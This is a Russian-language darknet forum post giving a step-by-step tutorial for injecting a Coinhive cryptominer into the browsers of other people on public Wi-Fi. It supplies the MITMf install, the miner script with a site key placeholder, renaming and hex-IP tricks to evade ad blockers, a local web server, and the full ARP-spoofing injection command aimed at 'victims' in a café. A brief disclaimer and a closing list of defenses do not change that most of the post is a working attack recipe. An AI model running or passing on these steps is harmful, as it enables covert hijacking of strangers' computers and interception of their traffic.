Внедряем майнер Coinhive через публичный Wi-Fi.

  • Автор темы HHIDE_DUMP
  • Дата начала
  • Просмотры 683
  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Посмотреть вложение 7542

Coinhive представляет собой майнер криптовалют, написанный на JavaScript. Этот скрипт предположительно был обнаружен на сайте BlackBerry Mobile. Хакеры использовали уязвимость в приложении, предназначенном для электронной торговли, что позволяло осуществлять анонимный майнинг криптовалют при каждом просмотре сайта. Вне всякого сомнения, Coinhive – инновационный метод майнига, которым пользуются хакеры в «дикой природе».​
Как работает Coinhive

В Coinhive реализованы легитимные методы майнинга криптовалют, которые администраторы и операторы могут внедрить в свой вебсайты. При посещении сайтов, на которых размещен Coinhive, JavaScript запускает майнинг криптовалют в браузере в фоновом режиме с использованием процессоров компьютеров пользователей.

Этот инструмент был создан в качестве альтернативы заработку при помощи некрасивых баннеров, которые занимают часть страниц сайта и могут быть легко удалены блокировщиками рекламы. Coinhive предназначен для майнинга криптовалюты
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
(XMR), которая, на момент написания статьи, была в 35 раз дешевле биткоина, однако находится
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
, формируемого на базе цены за одну монету.

Coinhive – вполне легитимный инструмент, однако недавние события показали, как легко хакеры могут злоупотреблять технологиями майнинга на базе JavaScript.

Случай с BlackBerry – один из многих инцидентов, когда хакеры и интернет провайдеры используют Coinhive во вредоносных целях. В
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
несколько приложений в Google Play Store, использующих технологию Coinhive для незаметного майнинга криптовалют после установки Android-приложения. Кроме того, сообщалось о майнерах Coinhive, которые интернет провайдер
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
.

Методы эксплуатации Coinhive

Существует несколько GitHub-проектов (например,
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
), предназначенных для реализации атак типа «человек посередине» (MITM-атаки) и внедрения майнеров Coinhive в браузеры, подключенные к публичным Wi-Fi хотспотам. По своему опыту скажу, что реализовывать MITM-атаки проще при помощи инструментов наподобие
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
(MITMf), поскольку те же самые результаты можно получить в разы быстрее.

В нашем примере мы будем использовать MITMf для инжектирования майнера Coinhive в браузеры, находящиеся с нами в одной Wi-Fi сети. Мы будем внедрять JavaScript-майнеры в веб-страницы в тот момент, когда посетители кофейни пользуются интернетом.

Вначале следует упомянуть, что сервис Coinhive блокирует аккаунты в случае, если JavaScript-майнер используется в
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
. Рекомендую пользоваться этим руководством только в образовательных целях, и не заниматься внедрением в хотспотах, которыми вы не владеете.

Шаг 1: Установка MITMf

Я буду устанавливаться MITMf в Kali Linux при помощи утилиты apt-get. В терминале введите команду, показанную ниже. Если вы предпочитаете сборку из исходных текстов, можете воспользоваться
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
или
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
.

sudo apt-get install mitmf

После установки никаких дополнительных настроек не требуется, и мы переходим к созданию учетной записи на сайте Coinhive.

Шаг 2: Создание учетной записи

После установки MitMF переходим на
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
для создания аккаунта. Какие-то особые требования для создания учетной записи в сервисе Coinhive отсутствуют, и каждый может зарегистрироваться в течение нескольких секунд.

Затем нужно проверить электронную почту, кликнуть по присланной ссылке для завершения процесса регистрации и залогиниться в новом аккаунте. Нам понадобится индивидуальный ключ, который размещается на сайте, где предполагается использование JavaScript-майнера. Хотя мы будем использовать Coinhive нетрадиционным способом, и нам понадобится только ключ.

Ключ находится на странице «
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
». Нам понадобится содержимое поля Site Key (public).




Рисунок 1: Список ключей

Каждый, кто пользуется блокировщиками рекламы типа
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
, будут наблюдать страницы, где встроен майнер Coinhive, в не очень красивом виде, поскольку, например, в uBlock Origin, самом популярном блокировщике, на данный момент домен coinhive.com находится в черном списке. Вне всякого сомнения, блокировка связана с тем, что хакеры используют Coinhive в злонамеренных целях.

Поскольку существует проблема, связанная с блокировщиками рекламы, нам нужно предпринять дополнительные шаги, чтобы предотвратить блокировку майнера в браузерах жертв. Большинство блокировщиков будут фильтровать домен coinhive.com и ему подобные, и чтобы такого не происходило, нужно выполнить обфускацию имени домена и JavaScript-файла.

Шаг 3: Обход блокировщиков рекламы

Вначале зайдем в раздел с документацией, чтобы ознакомиться со скриптом, который будет инжектироваться в браузеры жертв. Ниже показан JavaScript-майнер в самой наипростейшей форме.

<script src="
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
"></script>

<script>

var miner = new CoinHive.Anonymous('YOUR-SITE-KEY-HERE');

miner.start();

</script>

В первой строке («script src») происходит загрузка файла .js с сайта Coinhive. В строке «var miner» происходит привязка аккаунта, и указывается ключ, который мы скопировали в предыдущем шаге. Функция miner.start() запускает майнинг. Если мы хотим обойти фильтры блокировщиков рекламы, нужно изменить имя домена coinhive.com и .js файла.

Следует отметить, что шаги 4 и 5 не являются панацеей и не смогут защитить вас от всех блокировщиков вследствие того, что майнер должен отправлять результаты своей на сервер (а иначе майнинг не имеет смысла). Поскольку в исходном коде жестко прописан адрес сервера, против блокировщиков, фильтрующих на уровне DNS, наш метод не сработает. Возможен лишь обход приложений, блокирующих HTML-тэги.

Шаг 4: Переименование JavaScript-файла

Вначале создадим временную директорию, где будет храниться файл майнера. При помощи команды mkdir создайте папку coinhive-js в директории /tmp. Затем, используя команду cd, перейдите в новую директорию.

mkdir /tmp/coinhive-js

cd /tmp/coinhive-js

Далее загрузите файл
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
, который мы будем инжектировать в браузеры жертв. В Unix-подобных системах в терминале можно ввести следующую команду:

wget
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!


В качестве нового имени зададим строку из случайных символов, которая навряд ли окажется в базе данных блокировщика. Для
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
введите в терминале следующую команду:

openssl rand -hex 16

Число 16 говорит о том, что будет сгенерирована строка размером 16 символов (если нужно больше, увеличьте это значение). Затем переименовываем файл «coinhive.min.js» при помощи команды mv:

mv coinhive.min.js random-string-here.js

В демонстрационном примере я вводил случайные символы с клавиатуры.




Рисунок 2: Переименование и загрузка JavaScript-файла

Наконец, нам нужно сделать так, чтобы файл был доступен для загрузки у жертвы, находящейся с нами в одной Wi-Fi сети. Для решения этой задачи воспользуемся простой командой:

python3 -m http.server 80

http.server представляет собой модуль HTTP-сервера в Python3, который мы активируем при помощи аргумента –m (80 – номер порта, на котором работает сервер). Чтобы проверить работоспособность сервера, в браузере вводим адрес
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
. 127.0.0.1 – локальный адрес нашего компьютера. Именно этот адрес зачастую используется различными службами (например, HTTP-сервером), работающим на нашем компьютере.




Рисунок 3: Содержимое корневой директории HTTP-сервера

Шаг 5: Обфускация URL

После подготовки файла поговорим об обфускации URL при помощи
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
. Чтобы обойти фильтры блокировщиков, мы будем кодировать наш локальный IP-адрес. Например, адрес
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
эквивалентен адресу
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
. Браузеры в состоянии понимать и интерпретировать шестнадцатеричные строки как обычный текст.

Самый простой способ - воспользоваться
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
для преобразования IP-адресов в шестнадцатеричные строки. Вначале, определите IP-адрес при помощи команды ifconfig:

ifconfig wlan0

Ваш локальный IP-адрес скорее всего будет выглядеть как-то так 192.168.0.2 или так 192.168.1.10. Затем введите полученный IP-адрес в
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
для вычисления шестнадцатеричного эквивалента.

Теперь собираем готовый скрипт. Ниже показана новая версия с шестнадцатеричным IP-адресом и измененным именем файла.

<script src="
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
"></script>

<script>

var miner = new CoinHive.Anonymous('YOUR-SITE-KEY-HERE');

miner.start();

</script>

Сохраним этот код в отдельном локальном файле, который далее мы будем инжектировать в браузеры жертв при помощи MITMf. Для сохранения JavaScript-кода вы можете либо воспользоваться любимым текстовым редактором, либо следующей командой:

nano /tmp/coinhive-js/miner.js

Код, показанный выше, мы будем сохранять в директории coinhive-js в файле miner.js. Нажмите Ctrl + X для выхода из nano, введите Y и нажмите Enter для сохранения файла.




Рисунок 4: Содержимое файла miner.js

Шаг 6: Инжектирование майнера в браузеры

На данный момент у нас установлен MITMf, зарегистрирован новый аккаунт в сервисе Coinhive и создана обфусцированная полезная нагрузка для обхода фильтров блокировщиков. Теперь собираем все воедино.

Чтобы воспользоваться MitMF, запускаем команду ниже:

mitmf -i wlan0 --inject --js-file /tmp/coinhive-js/miner.js --arp --spoof --gateway 192.168.0.1

Параметр –i указывает MITMf, на какой интерфейс будет осуществляться атака. В Kali Linux беспроводной интерфейс, используемый по умолчанию - wlan0. В качестве адреса шлюза используется локальный IP-адрес Wi-Fi роутера (192.168.0.1). Чтобы найти локальный IP-адрес вашего роутера, в терминале введите команду route –n. В колонке «Gateway» должен быть IP-адрес наподобие «192.168.X.X».




Рисунок 5: Запуск MitMf

После запуска команды выше, в веб-страницы, просматриваемые в браузерах всех устройств, подключенных к Wi-Fi сети, будет инжектироваться полезная нагрузка. При каждом инжектировании в терминале будет появляться следующее сообщение «Injected JS file: example.com».




Рисунок 6: Появление события, связанного с инжектированием JavaScript-файла (выделено красным)

Из рисунка выше видно, что жертва использует браузер Google Chrome и операционную систему Windows. Инжектирование в браузер произошло при посещении сайта stackoverflow.com, после чего незамедлительно начинается майнинг криптовалюты Monero. Майнинг будет продолжаться до тех пор, пока вкладка с сайтом stackoverflow.com не будет закрыта.

Если посмотреть содержимое страницы, просматриваемой жертвой, то можно увидеть, что полезная нагрузка была инжектирована в нижнюю часть и без ведома жертвы.




Рисунок 7: Содержимое страницы с внедренной полезной нагрузкой

Ни один из трех наиболее популярных блокировщика рекламы, установленных мной из Chrome Web Store, не смог обнаружить вредоносную активность.

После инжектирования майнера в браузер жертвы, можно остановить атаку и отключить MITMf. Майнинг будет продолжаться. Если жертва уйдет из кофейни с открытой вкладкой, майнинг возобновится при следующем подключении к любой Wi-Fi сети. Майнер Coinhive будет работать до тех пор, пока жертва не закроет инфицированную вкладку или браузер.

Как защититься от JavaScript-майнеров

Как вы могли убедиться, блокировщики рекламы не являются столь эффективным при противодействии JavaScript-майнерам. Немного смекалки и майнер оказывается внедренным в веб-страницы, которые вы просматриваете в браузере.

  • Самый лучший способ защиты от вредоносного кода – полное отключение JavaScript в браузере. Включайте JavaScrtipt только в случае крайней необходимости. Многие профессионалы по безопасности рекомендуют расширение
    Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
    , как наиболее удобное средство включения/выключения JavaScript при необходимости.
  • В браузере Opera есть функция «
    Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
    », блокирующая скрипты, предназначенные для майнинга. Кроме того, существует другие
    Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
    , выполняющие схожие функции.
  • Если вы не хотите блокировать JavaScript, можно осуществлять мониторинг частоты использования процессора на предмет подозрительных пиков активности, которые могут свидетельствовать о фоновом майнинге. В ОС Window активность процессора можно отслеживать через Диспетчер задач (Task Manager), в macOS – через Мониторинг системы (Activity Monitor).
  • Проверяйте адресную строку браузера. Если сайт поддерживает протокол HTTPS (в углу отображается замок), значит, вы защищены от атаки типа «человек посередине». Многие сайты добавляются в список
    Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
    . В этом случае даже если во время MITM-атаки будет попытка удалить HSTS-заголовки и использовать протокол HTTP вместо HTTPS, браузер не будет следовать этим инструкциям, поскольку домен жестко прописан на работу только через HTTPS. Проверить присутствие домена в этом списке можно через
    Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
    .
  • Еще один способ защиты от MITM-атак в публичных сетях – использование виртуальной частной сети (VPN). Даже несмотря на то, что VPN не сможет заблокировать скрипт майнера, работающего на стороне сервера, но сможет защитить от MITM-атаки в конкретной точке доступа.
  • Используйте блокировщики рекламы, которые не только фильтруют HTML-тэги, но и умеют работать на DNS-уровне. В этом случае также нет гарантий, что майнер будет заблокирован, но, по крайней мере, злоумышленники не смогут получить заработанное.
Насколько прибылен JavaScript-майнинг?

Всех, кто интересуется вопросами прибыльности майнера Coinhive, отсылают к
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
, где подробно рассматривается этот вопрос. Максенс на несколько дней подключал Coinhive на своем сайте с ежедневной посещаемостью в 1000 человек и получил следующие результаты: за 60 часов было заработано 0.00947 XMR или 0.89$ (получается 0.36$ в день).

Прямо скажем, результаты не очень впечатляющие, однако, вне всякого сомнения, майнинг при помощи Coinhive становится все более полярным особенно среди тех, кто пытается найти новые способы незаконного обогащения. Возможно, на не очень посещаемых сайтах доходы будут небольшими, однако представьте, что будет, если разметить майнер в Facebook или Google. И подобное вполне может случиться.


Спасибо, что прочитал эту статью , братишка
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2024

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя